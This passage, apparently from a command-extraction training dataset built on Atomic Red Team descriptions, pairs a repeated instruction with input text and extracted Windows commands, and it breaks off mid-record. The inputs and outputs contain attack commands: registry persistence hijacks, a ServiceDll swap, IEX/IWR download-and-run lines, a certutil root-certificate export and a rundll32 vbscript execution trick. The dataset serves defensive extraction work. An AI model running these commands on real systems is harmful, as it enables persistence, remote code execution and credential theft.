    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\\malware_test\\\" /v StartEXE /t REG_SZ /d C:\\\\WINDOWS\\\\system32\\\\cmd.exe /f\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Accessibility\\\\ATs\\\" /v Configuration /t REG_SZ /d malware_test /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test demonstrates how adversaries might establish persistence by modifying the ServiceDll value, which can be done with the following PowerShell script:\n$termsrvDll = \"C:\\Windows\\System32\\termsrv.dll\"\n\n$ACL = Get-Acl $termsrvDll\n$permission = \"Administrators\",\"FullControl\",\"Allow\"\n$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission\n$ACL.SetAccessRule($accessRule)\nSet-Acl -Path $termsrvDll -AclObject $ACL\n\nCopy-Item -Path $termsrvDll -Destination \"$HOME\\AtomicTest.dll\"\n\n$newServiceDll = \"$HOME\\AtomicTest.dll\"\n\n$registryPath = \"HKLM:\\System\\CurrentControlSet\\services\\TermService\\Parameters\"\n\n# Check if the registry key exists\nif (Test-Path -Path $registryPath) {\n    # Modify the ServiceDll value in the registry\n    Set-ItemProperty -Path $registryPath -Name \"ServiceDll\" -Value $newServiceDll\n    Write-Host \"ServiceDll value in the registry has been updated to: $newServiceDll\"\n} else {\n    Write-Host \"Registry key not found. Make sure the \\'TermService\\Parameters\\' key exists.\"\n}",
    "output": "{\"command_list\": [\"$termsrvDll = \\\"C:\\\\Windows\\\\System32\\\\termsrv.dll\\\"\\n\\n$ACL = Get-Acl $termsrvDll\\n$permission = \\\"Administrators\\\",\\\"FullControl\\\",\\\"Allow\\\"\\n$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission\\n$ACL.SetAccessRule($accessRule)\\nSet-Acl -Path $termsrvDll -AclObject $ACL\\n\\nCopy-Item -Path $termsrvDll -Destination \\\"$HOME\\\\AtomicTest.dll\\\"\\n\\n$newServiceDll = \\\"$HOME\\\\AtomicTest.dll\\\"\\n\\n$registryPath = \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\"\\n\\n# Check if the registry key exists\\nif (Test-Path -Path $registryPath) {\\n    # Modify the ServiceDll value in the registry\\n    Set-ItemProperty -Path $registryPath -Name \\\"ServiceDll\\\" -Value $newServiceDll\\n    Write-Host \\\"ServiceDll value in the registry has been updated to: $newServiceDll\\\"\\n} else {\\n    Write-Host \\\"Registry key not found. Make sure the 'TermService\\\\Parameters' key exists.\\\"\\n}\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To simulate certificate trust manipulation similar to Golden SAML attacks, use this command sequence which modifies registry keys and exports PFX certificates: \nIEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \ncertutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}\n",
    "output": "{\"command_list\": [\"IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) \\ncertutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The mechanism of Virtual Channels in RDP involves Addins implemented as DLLs that run automatically during a session, loading on the host system after connection. To set this up, execute the following registry command: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\\Addins\\#{Subkey_Added}\" /v Name /t REG_SZ /d \"#{dll_inf}\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\\Addins\\\\#{Subkey_Added}\\\" /v Name /t REG_SZ /d \\\"#{dll_inf}\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries often depend on users running malicious images, which can be initiated via this command: IEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\\\"\ncd $finalpath\n.\\\\calc.exe.lnk",
    "output": "{\"command_list\": [\"IEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\\\" -OutFile \\\"$env:TEMP\\\\qbot-test.iso\\\")\\nMount-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\"\\n$mountedpath = (Get-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\" | Get-Volume).DriveLetter\\n$finalpath = $mountedpath + \\\":\\\\\\\"\\ncd $finalpath\\n.\\\\calc.exe.lnk\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To test execution using rundll32.exe and VBscript, similar to the JavaScript test, run the following command: rundll32 vbscript:\"\\\\..\\\\mshtml,#135 \"+String(CreateObject(\"WScript.Shell\").Run(\"#{command_to_execute}\"),0)",
    "output": "{\"command_list\": [\"rundll32 vbscript:\\\"\\\\..\\\\mshtml,#135 \\\"+String(CreateObject(\\\"WScript.Shell\\\").Run(\\\"#{command_to_execute}\\\"),0)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Upon execution, the following command connects to a remote PowerShell session, performs network tests, and displays 'T1086 PowerShell Session Creation and Use':\nNew-PSSession -ComputerName #{hostname_to_connect}\nTest-Connection $env:COMPUTERNAME\nSet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use -Value \"T1086 PowerShell Session Creation and Use\"\nGet-Content -Path $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\nRemove-Item -Force $env:TEMP\\T1086_PowerShell_Session_Creation_and_Use\n",
    "output": "{\"command_list\": [\"New-PSSession -ComputerName #{hostname_to_connect}\\nTest-Connection $env:COMPUTERNAME\\nSet-Content -Path $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use -Value \\\"T1086 PowerShell Session Creation and Use\\\"\\nGet-Content -Path $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use\\nRemove-Item -Force $env:TEMP\\\\T1086_PowerShell_Session_Creation_and_Use\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: 